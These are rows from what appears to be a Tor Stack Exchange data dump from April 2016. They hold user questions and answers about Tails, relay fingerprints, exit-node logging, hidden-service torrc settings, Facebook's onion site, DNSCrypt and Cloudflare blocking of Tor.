  <row Id="10243" PostTypeId="1" AcceptedAnswerId="11990" CreationDate="2016-04-22T08:49:29.473" Score="2" ViewCount="92" Body="&lt;p&gt;In other words, what are the system &quot;ingredients&quot; that are &lt;strong&gt;not&lt;/strong&gt; allowed to change without triggering attribution of a new fingerprint and the restart of the &quot;ramp up&quot; / flagging process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please correct any mistakes or oversight below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;hardware:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPU: &lt;strong&gt;immutable&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;network controller: &lt;strong&gt;immutable&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;..other: mutable?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;IP address: mutable?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor session: &lt;strong&gt;mutable&lt;/strong&gt; (process may be restarted, system may be reboot)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;torrc entries (nickname...): mutable?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12396" LastActivityDate="2019-05-26T21:25:35.530" Title="What are the immutable characteristics that uniquely identify a relay?" Tags="|relays|directory|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10245" PostTypeId="1" CreationDate="2016-04-22T13:17:09.993" Score="3" ViewCount="2815" Body="&lt;p&gt;I have an all in one PC / desktop. It was knocked over and now has LCD lines and a ton of dead pixels on it. I can only see about half of the screen. The other monitor works fine when I'm using just Windows so its not broke. Anyways, I looked around and couldn't find a way to do such things. Does anyone know if this is possible to do on TAILS?&lt;/p&gt;&#xA;" OwnerUserId="12577" LastEditorUserId="12586" LastEditDate="2016-04-25T18:59:12.950" LastActivityDate="2020-12-22T22:33:47.693" Title="Can I use my second monitor as my primary on tails?" Tags="|tor-browser-bundle|tails|linux|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10249" PostTypeId="2" ParentId="10239" CreationDate="2016-04-22T19:54:41.933" Score="2" Body="&lt;p&gt;There wouldn't really be any benefit to the attacker sniffing the exit traffic and then routing it over Tor again.  Theoretically it would be possible.  They can run an exit node, and configure their system to then tunnel all outbound traffic through another Tor client using SOCKS.  This wouldn't make them more &quot;anonymous&quot; in this attack.  If anything it'd potentially draw more attention to their exit because final exit IP address would be different from the exit node in your circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your Tor client builds a circuit, you can see the entry, middle, and exit nodes your traffic will pass through and get the IP addresses of each of them including the exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that someone was doing this, you could easily test it by going to a website that tells you your IP address, and if it shows an address that doesn't belong to the exit node for your circuit, something weird is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind, the exit node can only see unencrypted traffic that passes through it.  If you visit an HTTPS site over TLS, or connect to an encrypted service like SSH, the exit can only see encrypted traffic and will not be able to decrypt it.&lt;/p&gt;&#xA;" OwnerUserId="10070" LastActivityDate="2016-04-22T19:54:41.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10251" PostTypeId="1" CreationDate="2016-04-23T19:44:39.297" Score="1" ViewCount="117" Body="&lt;p&gt;There is a role-playing game I would like to play, but I would like to remain anonymous (more like pseudonymous in this case). I want to keep my IP address hidden from the servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main issue I have, if I do this over Tor, I risk having everything that I do in the game captured and logged by the exit node, since the game can't be played through an encrypted connection, as far as I know. That means every action I do in the game could be logged, I am not comfortable with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best option I have here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I'm looking for the best thing to do privacy-wise, if I'm going to play the game anyway. I considered some options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Tor unmodified, I will get random exit nodes, at least some of them will log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Tor and limiting my exit nodes to more &quot;trustworthy&quot; exit nodes that are less likely to log. But are there any such nodes, and how will I find them? Would it be a good idea to look for a specific country they're located in, or a specific organization that operates these nodes? And is this even a good idea at all? I thought it would not be that bad because I would be pseudonymous instead of anonymous in the game anyway (character).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other options I thought of are not preferable.&lt;/p&gt;&#xA;" OwnerDisplayName="user12593" LastEditorDisplayName="user12593" LastEditDate="2016-04-25T15:25:32.423" LastActivityDate="2016-04-25T15:25:32.423" Title="How to best avoid having unencrypted information logged by an exit node, if encrypted connection is not an option?" Tags="|anonymity|deanonymization|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10253" PostTypeId="1" CreationDate="2016-04-23T21:48:01.470" Score="1" ViewCount="522" Body="&lt;p&gt;I have downloaded Tails ISO tails-i386-2.2.iso and am attempting to boot via VirtualBox. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am promted to login or select more options, and on logging in a blank blue screen is displayed, possible a blank desktop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;lspci&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00:02.0 VGA compatible controller: Intel Corporation Broadwell-U Integrated Graphics (rev 09)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I notice that release 2.0 RC1 &quot;adds support for recent chips such as Intel Broadwell's HD graphics&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://distrowatch.com/?newsid=09252&quot; rel=&quot;nofollow&quot;&gt;http://distrowatch.com/?newsid=09252&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12599" LastEditorUserId="12599" LastEditDate="2016-04-24T07:15:43.613" LastActivityDate="2016-04-24T07:15:43.613" Title="Blank desktop on booting Tails 2.2 via VM" Tags="|tails|linux|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10257" PostTypeId="1" CreationDate="2016-04-24T14:08:40.960" Score="0" ViewCount="379" Body="&lt;p&gt;How can I use Adobe Shockwave Player with Tor? Is there any way to add the plugin? Does it reveal your real IP?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12606" LastActivityDate="2016-04-24T17:08:51.510" Title="Adobe Shockwave Player (not Flash)" Tags="|plugin|" AnswerCount="1" CommentCount="1" ClosedDate="2016-04-24T18:11:57.603" ContentLicense="CC BY-SA 3.0" />
  <row Id="10258" PostTypeId="2" ParentId="10257" CreationDate="2016-04-24T17:08:51.510" Score="0" Body="&lt;p&gt;Only via routing &lt;strong&gt;all the traffic&lt;/strong&gt; by a separate box through Tor. Any plugin that runs in a separate container is able to bypass the proxy settings&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-24T17:08:51.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10259" PostTypeId="2" ParentId="8956" CreationDate="2016-04-24T17:13:17.063" Score="0" Body="&lt;p&gt;It can add some extra security, but it's not a significant upgrade in all the cases. The problem/implication is the IPTables binary + root access. If you have  a root access to your device, and your kernel is running OK with a system-wide &lt;code&gt;iptables&lt;/code&gt; - it will add some security for sure, like piping all the traffic through Tor. If you have a factory-licked kernel - there are usually problems with IPTables and there's no way to ensure that &lt;strong&gt;all&lt;/strong&gt; the traffic is piped through Tor's TransPort.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-24T17:13:17.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10260" PostTypeId="2" ParentId="9037" CreationDate="2016-04-24T17:15:03.633" Score="1" Body="&lt;p&gt;Correct your XAMPP to bind to 127.0.0.1:443 explicitly and configure tor to bind &lt;strong&gt;explicitly to the IP facing a way to Internet&lt;/strong&gt;. That's how it works, and it works fine, checked&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-24T17:15:03.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10261" PostTypeId="1" CreationDate="2016-04-24T19:34:38.350" Score="1" ViewCount="348" Body="&lt;p&gt;I need to create a secure tunnel from my server to the torsite.onion:port. As an example when I connect to myserver at myserver:port it will redirect to the tormailxxxxx.onion:25 for the tor email service.&#xA;I hope this solution will be really easy to do, but so far I couldn't find any sufficient solution.&#xA;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="12611" LastActivityDate="2016-04-25T06:47:34.400" Title="How to create a secure tunnel from my server &lt;---&gt; torserver.onion:port" Tags="|onion-routing|tunnel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10262" PostTypeId="2" ParentId="10251" CreationDate="2016-04-24T19:52:47.647" Score="2" Body="&lt;p&gt;You do not have a 'best option' here the way you describe it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However - playing it over tor makes sure your real IP stays hidden.&#xA;The exit node does not get to know your IP, but as you say - the exit node, and/or VPN provider - can log the traffic itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be a better if the role-playing game had secure connection enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same issue is there when you browse the web in just http and not https over tor.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2016-04-24T19:52:47.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10263" PostTypeId="2" ParentId="10261" CreationDate="2016-04-24T21:45:52.090" Score="1" Body="&lt;p&gt;You need a &lt;a href=&quot;http://stunnel.org&quot; rel=&quot;nofollow&quot;&gt;Stunnel&lt;/a&gt; with full verification enabled (&lt;code&gt;verify=3&lt;/code&gt; in config) and your local SSL microCA. For microCA I do recommend you to try either an OpenSSL perl scripts, or easyRSA as something more advanced.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-24T21:45:52.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10269" PostTypeId="1" AcceptedAnswerId="10580" CreationDate="2016-04-25T07:18:24.087" Score="0" ViewCount="134" Body="&lt;p&gt;My college blocks basic websites such as Facebook and Skype. While I can manage Facebook with my mobile data, in order to talk to my family, Skype is too expensive on data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The college WiFi uses a local HTTPS proxy. I can browse the blocked websites using the Tor browser, but is there a way to route all traffic of the computer so that is becomes uncensored. I realize this is pretty easy to do if the WiFi didn't run a local proxy but since it does, can anyone give a solution. Is it even possible? Also anonymity is not the criteria since I'm sure our college will not double check.&lt;/p&gt;&#xA;" OwnerUserId="12621" LastEditorUserId="88" LastEditDate="2016-04-25T18:56:09.057" LastActivityDate="2016-05-26T02:05:25.710" Title="Trouble with ToR proxy" Tags="|configuration|help|proxy|tor-browser-bundle|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10270" PostTypeId="2" ParentId="10269" CreationDate="2016-04-25T08:06:43.943" Score="0" Body="&lt;p&gt;(Posting this as a &lt;em&gt;partial&lt;/em&gt; answer since I cannot comment yet..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may save on your mobile data if you use their .onion address to connect to Facebook via your desktop, which I believe is: &lt;strong&gt;facebookcorewwwi.onion&lt;/strong&gt; (you want to triple-check this, but source is &lt;a href=&quot;https://blog.torproject.org/blog/facebook-hidden-services-and-https-certs&quot; rel=&quot;nofollow&quot;&gt;there&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="12396" LastActivityDate="2016-04-25T08:06:43.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10273" PostTypeId="1" CreationDate="2016-04-25T13:29:07.443" Score="2" ViewCount="153" Body="&lt;p&gt;Why does the hidden service of facebook (&lt;a href=&quot;http://facebookcorewwwi.onion&quot; rel=&quot;nofollow&quot;&gt;http://facebookcorewwwi.onion&lt;/a&gt;) ask for a mobile phone verification? Isn't the goal of TOR to be able to visit pages which are censored in some countries (e.g. from China) &lt;strong&gt;anonymously&lt;/strong&gt;? This does not make sense to me.&lt;/p&gt;&#xA;" OwnerUserId="12630" LastActivityDate="2016-04-25T14:39:39.693" Title="Facebook mobile phone activation" Tags="|censorship|verification|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10274" PostTypeId="2" ParentId="10273" CreationDate="2016-04-25T14:22:38.103" Score="1" Body="&lt;p&gt;Tor is &lt;em&gt;just a transport layer&lt;/em&gt;. It helps you to avoid illegal censorship attempts. It's defenately &lt;strong&gt;not an anonymizer&lt;/strong&gt; - and even  more, phone activation is good for privacy protection&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-25T14:22:38.103" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="10275" PostTypeId="2" ParentId="10273" CreationDate="2016-04-25T14:39:39.693" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://www.facebook.com/help/112146705538576&quot; rel=&quot;nofollow&quot;&gt;Facebook allows neither anonymous nor pseudonymous accounts&lt;/a&gt;. That means you can't sign into Facebook as a guest, nor can you use a name that isn't your real name. It then follows that when you visit Facebook, either on the clearnet or via Tor, you have to sign in with your own credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're signing in with your own credentials, then Facebook has to check it's actually you, and not someone breaking into your account. (I'm sure you'll agree that this check is a Good Thing.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using the Facebook hidden service (i.e. .onion site) via the Tor Browser, then Facebook is unable to validate you in the way it normally would (e.g. using cookies, your location implied by your IP address, etc.), and so requires another method, in this case via your phone.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-04-25T14:39:39.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10278" PostTypeId="1" CreationDate="2016-04-26T03:54:43.860" Score="1" ViewCount="1336" Body="&lt;p&gt;I'm trying to set up a hidden service site following the instructions &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en#one&quot; rel=&quot;nofollow&quot; title=&quot;Configuring Hidden Services for Tor - Tor&quot;&gt;on the Tor website&lt;/a&gt; but I can't find the adequate line. This is all that's in my torrc file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory C:\Users\randyniuadmin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Users\randyniuadmin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\randyniuadmin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;HiddenServiceStatistics 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that normal?&lt;/p&gt;&#xA;" OwnerUserId="12639" LastEditorUserId="12013" LastEditDate="2016-04-26T14:22:19.050" LastActivityDate="2016-06-25T22:05:21.243" Title="Why is my torrc file almost empty?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10279" PostTypeId="1" AcceptedAnswerId="10280" CreationDate="2016-04-26T10:08:45.803" Score="1" ViewCount="672" Body="&lt;p&gt;Is it useful to install DNSCrypt-proxy when we already have Tor?&#xA;Does the ISP knows my internet queries when I use Tor?&lt;/p&gt;&#xA;" OwnerUserId="12625" LastEditorUserId="12013" LastEditDate="2016-04-26T14:19:58.200" LastActivityDate="2016-04-26T14:55:10.953" Title="Is it useful to install DNSCrypt-proxy with Tor?" Tags="|anonymity|security|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10280" PostTypeId="2" ParentId="10279" CreationDate="2016-04-26T13:55:49.213" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://dnscrypt.org/&quot; rel=&quot;nofollow&quot; title=&quot;DNSCrypt&quot;&gt;DNSCrypt&lt;/a&gt; encrypt the communication between the client, and the resolver. If you are worried about DNS leaks, DNSCrypt can add an extra layer of security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your last question, your ISP doesn't know which websites you are visiting when you're using Tor.&lt;/p&gt;&#xA;" OwnerUserId="12013" LastActivityDate="2016-04-26T13:55:49.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10282" PostTypeId="2" ParentId="10278" CreationDate="2016-04-26T19:22:51.430" Score="0" Body="&lt;p&gt;The hidden service instructions you linked to should be sufficient. You just need to put the setting keys (e.g. &lt;code&gt;HiddenServiceDir&lt;/code&gt; or &lt;code&gt;HiddenServicePort&lt;/code&gt;) into the torrc file yourself. Don't worry if they are not already in the file. (There is no difference between deleting an unused setting from the file, and commenting it out... e.g. &lt;code&gt;#HiddenServicePort blahblah&lt;/code&gt; is commented out anyway, so as a matter of preference some people just delete unused settings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a comprehensive list of all the torrc options at the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor manual&lt;/a&gt;, but the hidden service instructions you linked to should be sufficient for your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the instructions from the link you provided, for example if you are using Apache running on localhost (&lt;code&gt;127.0.0.1&lt;/code&gt;) port &lt;code&gt;8080&lt;/code&gt;, you would append the following lines to your &lt;code&gt;.torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir C:\Users\randyniuadmin\Documents\tor\hidden_service&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;C:\Users\randyniuadmin\Documents\tor\hidden_service&lt;/code&gt; is a writeable directory existing on your machine where Tor can store metadata files (like the onion address of your hidden service).&lt;/p&gt;&#xA;" OwnerUserId="12224" LastActivityDate="2016-04-26T19:22:51.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10286" PostTypeId="1" CreationDate="2016-04-27T14:59:30.833" Score="1" ViewCount="16" Body="&lt;p&gt;I've just started using the latest Tor Browser, connecting through my university connection. When I try to connect, it failed to establish connection with the network after waiting for a long time. I check the log and it says problem bootstrapping, stuck at 10%. My friend who uses Tor Browser and uses the same connection as me can connect to the network and use Tor Browser. We also use the same OS, Windows 8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tor log...help this out//&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4/27/2016 7:45:12 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/27/2016 7:45:12 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/27/2016 7:45:12 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/27/2016 7:45:12 AM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;4/27/2016 7:45:19 AM.000 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;4/27/2016 7:45:19 AM.100 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;4/27/2016 7:45:19 AM.100 [WARN] Proxy Client: unable to connect to &amp;lt;BRIDGE IP&amp;gt; (&quot;general SOCKS server failure&quot;) &#xA;4/27/2016 7:45:19 AM.100 [WARN] Proxy Client: unable to connect to &amp;lt;BRIDGE IP&amp;gt; (&quot;general SOCKS server failure&quot;) &#xA;4/27/2016 7:45:19 AM.100 [WARN] Proxy Client: unable to connect to &amp;lt;BRIDGE IP&amp;gt; (&quot;general SOCKS server failure&quot;) &#xA;4/27/2016 7:45:19 AM.100 [WARN] Proxy Client: unable to connect to &amp;lt;BRIDGE IP&amp;gt; (&quot;general SOCKS server failure&quot;) &#xA;4/27/2016 7:45:19 AM.200 [WARN] Proxy Client: unable to connect to &amp;lt;BRIDGE IP&amp;gt; (&quot;general SOCKS server failure&quot;) &#xA;4/27/2016 7:45:19 AM.200 [WARN] Proxy Client: unable to connect to &amp;lt;BRIDGE IP&amp;gt; (&quot;general SOCKS server failure&quot;) &#xA;4/27/2016 7:45:19 AM.300 [WARN] Proxy Client: unable to connect to &amp;lt;BRIDGE IP&amp;gt; (&quot;general SOCKS server failure&quot;) &#xA;4/27/2016 7:45:34 AM.400 [WARN] Proxy Client: unable to connect to &amp;lt;BRIDGE IP&amp;gt; (&quot;general SOCKS server failure&quot;) &#xA;4/27/2016 7:45:34 AM.400 [WARN] Proxy Client: unable to connect to &amp;lt;BRIDGE IP&amp;gt; (&quot;general SOCKS server failure&quot;) &#xA;4/27/2016 7:45:34 AM.400 [WARN] Proxy Client: unable to connect to &amp;lt;BRIDGE IP&amp;gt; (&quot;general SOCKS server failure&quot;) &#xA;4/27/2016 7:45:40 AM.100 [WARN] Proxy Client: unable to connect to &amp;lt;BRIDGE IP&amp;gt; (&quot;general SOCKS server failure&quot;) &#xA;4/27/2016 7:49:43 AM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;4/27/2016 7:49:43 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/27/2016 7:49:43 AM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12661" LastEditorUserId="1730" LastEditDate="2016-04-27T15:55:51.680" LastActivityDate="2016-04-27T15:55:51.680" Title="tor not connecting" Tags="|windows|" AnswerCount="0" CommentCount="1" ClosedDate="2016-04-29T17:35:42.663" ContentLicense="CC BY-SA 3.0" />
  <row Id="10287" PostTypeId="1" CreationDate="2016-04-27T16:02:48.463" Score="2" ViewCount="3071" Body="&lt;p&gt;I checked in the Tails documentation and I saw nothing about the firewall.&#xA;Is there a firewall like iptables in Tails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12625" LastActivityDate="2016-12-04T16:48:18.257" Title="Firewall with Tails" Tags="|tails|firewall|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10288" PostTypeId="1" CreationDate="2016-04-27T16:09:40.097" Score="2" ViewCount="605" Body="&lt;p&gt;I have been using the Tor browser bundle.  However the website &lt;a href=&quot;http://www.3quarksdaily.com&quot; rel=&quot;nofollow&quot;&gt;http://www.3quarksdaily.com&lt;/a&gt; fails to load... it returns &quot;404 page not found.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website loads perfectly fine outside Tor.  I wonder what the problem is?  (I saw a similar post on htts://tor.stackexchange from last year but in that case the problem website was first presenting a captcha.  In this case there is no captcha, so perhaps the problem is different...)&lt;/p&gt;&#xA;" OwnerUserId="12665" LastEditorUserId="88" LastEditDate="2016-04-28T13:58:16.830" LastActivityDate="2016-05-03T19:39:18.753" Title="404 page not found with 3quarksdaily.com" Tags="|tor-browser-bundle|blocked-services|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10289" PostTypeId="1" CreationDate="2016-04-27T16:10:30.743" Score="2" ViewCount="1251" Body="&lt;p&gt;Can't log into Facebook using Tor. They want to install software to 'clean' your computer. I've run 3 different malware programs of my own, &#xA;plus, I logged into Facebook using another browser and account name. So it's not my computer.&#xA;Firefox is the default browser for Tor. Is it possible to use another browser with Tor installed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to register here with my Facebook account, but I get the same error notice.&#xA;Thank you!&#xA;&lt;a href=&quot;https://i.stack.imgur.com/k4XNh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k4XNh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12666" LastEditorUserId="88" LastEditDate="2016-04-28T13:52:02.077" LastActivityDate="2016-05-12T21:10:30.493" Title="When logging into Facebook with Tor: &quot;Your computer needs to be cleaned&quot;" Tags="|tor-browser-bundle|security|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10291" PostTypeId="2" ParentId="10289" CreationDate="2016-04-27T17:27:32.297" Score="2" Body="&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;It's possible to use any TCP-based application that supports SOCKS proxying through Tor. &lt;strong&gt;That doesn't mean you should.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's &lt;a href=&quot;https://tor.stackexchange.com/questions/52/how-can-i-use-chrome-through-tor-on-os-x&quot;&gt;not possible&lt;/a&gt; to use a different browser with Tor. The Tor Browser is a heavily modified version of Firefox that has a number of security enhancements that ensure all browser traffic is routed through the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to log into my Facebook account via Tor without any problems. I had to &lt;a href=&quot;https://tor.stackexchange.com/a/10275/1730&quot;&gt;verify my account via my phone&lt;/a&gt;, which is an acceptable security check, in my opinion. I was also able to access the mobile site, thereby bypassing the need to turn on Javascript. I have no suggestion as to why your case would be different - others may have a better idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible solution would be to use Facebook's Tor Hidden Service directly, rather than using the clearnet site. The fact that Facebook &lt;em&gt;have&lt;/em&gt; an official .onion site shows at least some intent on supporting the Tor network and its users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Here's an official Tor blog entry from when Facebook enabled this service: &lt;a href=&quot;https://blog.torproject.org/blog/facebook-hidden-services-and-https-certs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/blog/facebook-hidden-services-and-https-certs&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2016-05-12T21:10:30.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10292" PostTypeId="2" ParentId="10287" CreationDate="2016-04-27T17:37:22.333" Score="3" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;https://tails.boum.org/contribute/design/Tor_enforcement/Network_filter/&quot; rel=&quot;nofollow&quot;&gt;Network Filter&lt;/a&gt; documentation.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.... This is solved by blocking all outbound Internet traffic except&#xA;  Tor (and I2P when enabled), and explicitly configuring all&#xA;  applications to use one of these.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;config/chroot local-includes/etc/ferm/ferm.conf&lt;/code&gt; (uses &lt;code&gt;ferm&lt;/code&gt; &lt;strong&gt;to build an&#xA;  iptables ruleset&lt;/strong&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-04-27T17:37:22.333" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10294" PostTypeId="2" ParentId="10288" CreationDate="2016-04-28T14:15:14.983" Score="2" Body="&lt;p&gt;The website &lt;a href=&quot;http://www.3quarksdaily.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.3quarksdaily.com/&lt;/a&gt; uses CloudFlare and CloudFlare has special &lt;a href=&quot;https://support.cloudflare.com/hc/en-us/articles/217074967-How-do-I-control-access-to-my-site-&quot; rel=&quot;nofollow&quot;&gt;access rules&lt;/a&gt;. When they see a Tor exit relay the website operator can choose from &lt;a href=&quot;https://support.cloudflare.com/hc/en-us/articles/203306930-Does-CloudFlare-block-Tor-&quot; rel=&quot;nofollow&quot;&gt;four options&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;let the traffic go through (whitelist)&lt;/li&gt;&#xA;&lt;li&gt;show a CAPTCHA&lt;/li&gt;&#xA;&lt;li&gt;show a JavaScript challenge or&lt;/li&gt;&#xA;&lt;li&gt;completely block the traffic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems 3quarksdaily.com (or Typepad) has chosen to block Tor traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to use the service of &lt;a href=&quot;https://archive.is/&quot; rel=&quot;nofollow&quot;&gt;archive.is&lt;/a&gt; to save and browse the page. I tried to access it via &lt;a href=&quot;https://archive.is/ewEJl&quot; rel=&quot;nofollow&quot;&gt;https://archive.is/ewEJl&lt;/a&gt;.&#xA;Furthermore you can write a mail to support@typepad.com and ask them to unblock Tor connections. If you decide for this variant it would be nice to comment and tell us what they answered.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-04-28T14:15:14.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
